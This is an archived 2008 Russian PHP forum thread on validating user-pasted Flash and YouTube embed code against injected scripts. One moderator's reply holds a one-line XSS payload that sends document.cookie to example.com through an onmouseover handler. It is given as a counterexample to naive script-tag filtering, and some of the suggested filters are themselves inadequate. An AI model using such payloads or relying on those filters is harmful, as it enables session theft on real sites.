Модераторы: skyboy, MoLeX, Aliance, ksnk
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> валидация html кода видео фрагмента, как лучше реализовать 
:(
    Опции темы
31416
Дата 6.12.2008, 03:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 126
Регистрация: 3.5.2006

Репутация: нет
Всего: нет



Вообщем сделал на сайте взможность вставки видео таким образом - юзеры вставляют в поле текста на подобии такого - 

Код


<object width="480" height="385">
<param name="movie" value="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&
color1=0x234900&color2=0x4e9e00"> </param><param name="allowFullScreen" value="true">
</param><param name="allowscriptaccess" value="always"></param> 
<embed src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" 
type="application/x-shockwave-flash" allowscriptaccess="always" 
allowfullscreen="true" width="480" height="385"></embed> </object>



но в этом поле можно написать что угодно вставить как-нить js код или  ссылки и прочее..

кто как делает валидацию таких фрагментов (в данном случае только на наличие видео кода html), как есть готовые решения может быть? 

Это сообщение отредактировал(а) 31416 - 6.12.2008, 03:16
--------------------
Мой блог
PM MAIL WWW ICQ   Вверх
skyboy
Дата 6.12.2008, 09:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


неОпытный
****


Профиль
Группа: Модератор
Сообщений: 9820
Регистрация: 18.5.2006
Где: Днепропетровск

Репутация: 1
Всего: 260



по-нормальному, это:
- поле для ввода значения ширины
- поле для ввода значения высоты
- поле для ввода УРЛ видео
Валидируется на раз(ненулевые целые числа и корректный URI), после чего HTML формируется твоим кодом на стороне сервера.
PM MAIL   Вверх
31416
Дата 6.12.2008, 18:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 126
Регистрация: 3.5.2006

Репутация: нет
Всего: нет



вопрос только как быть с разными сайтами, для всех популярных можно держать шаблоны, но есть то и другие с которых могут захотеть вставить
--------------------
Мой блог
PM MAIL WWW ICQ   Вверх
ashenemy
Дата 15.12.2008, 02:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 155
Регистрация: 7.11.2006

Репутация: нет
Всего: нет



А мне кажется можно делать легче, фильтруй яваскрипт, то бишь, ищешь такую фразу как <script>....</script> и удаляешь его.
можно сделать еще круче, регулярка вида
#<object>(.*)</object># - пихаешь в переменную, остальное стираешь, а показываешь переменную где хранится результат регулярки.

PM MAIL   Вверх
teroni
Дата 15.12.2008, 02:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 381
Регистрация: 15.5.2007
Где: Днепропетровск

Репутация: 1
Всего: 22



Или проще:
Код

$text_stripped = strip_tags($text, '<param><embed><object>');// может еще какие-то разрешенные тэги

if ($text_stripped != $text)
   echo "Зачем левые тэги пишешь, а???";
else
   echo "Вроде нету никаких хитрых тэгов, надо бы сохранить";

Хотя и в эти тэги юзер может прислать какую-нить стрёмную флэшку, я бы включил премодерацию на всякий случай. Или выдирал бы из кода адрес флешки. Если это http://www.youtube.com/... или другие известные скрипту видеохостинги - тогда публиковать. Если нет - то слать на премодерацию либо на удаление. 

Это сообщение отредактировал(а) teroni - 15.12.2008, 03:00
PM MAIL   Вверх
ashenemy
Дата 16.12.2008, 20:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 155
Регистрация: 7.11.2006

Репутация: нет
Всего: нет



Кстати да можно просто регуляркоой выдирать 
<embed src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" 
type="application/x-shockwave-flash" allowscriptaccess="always" 
allowfullscreen="true" width="480" height="385">
из этого, src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" 
и генерить свой код, удобно, практично, и подойдет ко всем видеохистингам
а на тему ссылки, то впихнуть на сколько я знаю туда практически ничего нельзя, так как пробывал ссылаться на яваскрипт файл, и он вывел "как есть", так что вродь с безопастностью траблов не должно быть
PM MAIL   Вверх
MuToGeN
Дата 17.12.2008, 00:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Лесник
****


Профиль
Группа: Модератор
Сообщений: 4379
Регистрация: 15.8.2002
Где: Москва

Репутация: 4
Всего: 32



Судя по всем этим вебам-два-ноль, когда-нибудь все остановится на такой схеме: человек со стороны, желая опубликовать видео с ютуба / очередную flash-игру на 5 минут / что-то еще, будет должен вбить адрес, по которому можно будет слить код для публикации этой штуки. С надеждой/уверенностью в том, что хостер уж точно не подсунет каких-то XSS-штук. Т.е. появится какой-то псевдостандарт, как протоколы синдикации (RSS, ATOM etc) или OpenID, к примеру.

Но это снова офтоп. По сабжу - гляньте, как устроен отстрел XSS в том же самом не раз упомянутом в этом разделе Code Igniter.

Цитата(ashenemy @  15.12.2008,  02:36 Найти цитируемый пост)
можно делать легче, фильтруй яваскрипт, то бишь, ищешь такую фразу как <script>....</script> и удаляешь его

<img src="blablabla" alt="" onmouseover="location.href='http://example.com/?stolenCookie='+document.cookie;alert('Ищите здесь теги script и дальше');"/>
И подобных вариантов очень много smile


--------------------
Three pings for the token rings,
Five pings for the UNIX machines,
Hundred pings for the broken links,
One special ping to check them all
Through Simple Network Management Protocol!
PM MAIL ICQ   Вверх
youri
Дата 17.12.2008, 01:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 740
Регистрация: 17.4.2004

Репутация: нет
Всего: 16



мне кажется кажется первое предложение было лучшим (3 поля: урл, ширина, высота), хотя можно в общем-то добавить поле, куда будет можно вставить код. Но из этого кода будут выдираться те самые 3 поля. Не думаю, что эти плееры особенно чем-то отличаются, кроме этих 3х параметров.

хотя может я чего-то не знаю ("гляньте, как устроен отстрел XSS в том же самом не раз упомянутом в этом разделе Code Igniter")
PM   Вверх
Sannis
Дата 20.12.2008, 22:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 375
Регистрация: 14.8.2007
Где: Москва

Репутация: нет
Всего: 13



К слову о flash и javascript: наличие параметра allowscriptaccess='never' в теге embed пойдёт на пользу.


--------------------
Я Критик Джим, раньше писал моды для IPB 1.3.x-2.3.x, а теперь продвигаю Node.js в массы.
PM MAIL WWW   Вверх
  
Ответ в темуСоздание новой темы Создание опроса

Внимание: данный раздел предназначен для решения сложных, нестандартных задач.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Для профи | Следующая тема »


 




[ Время генерации скрипта: 0.0487 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.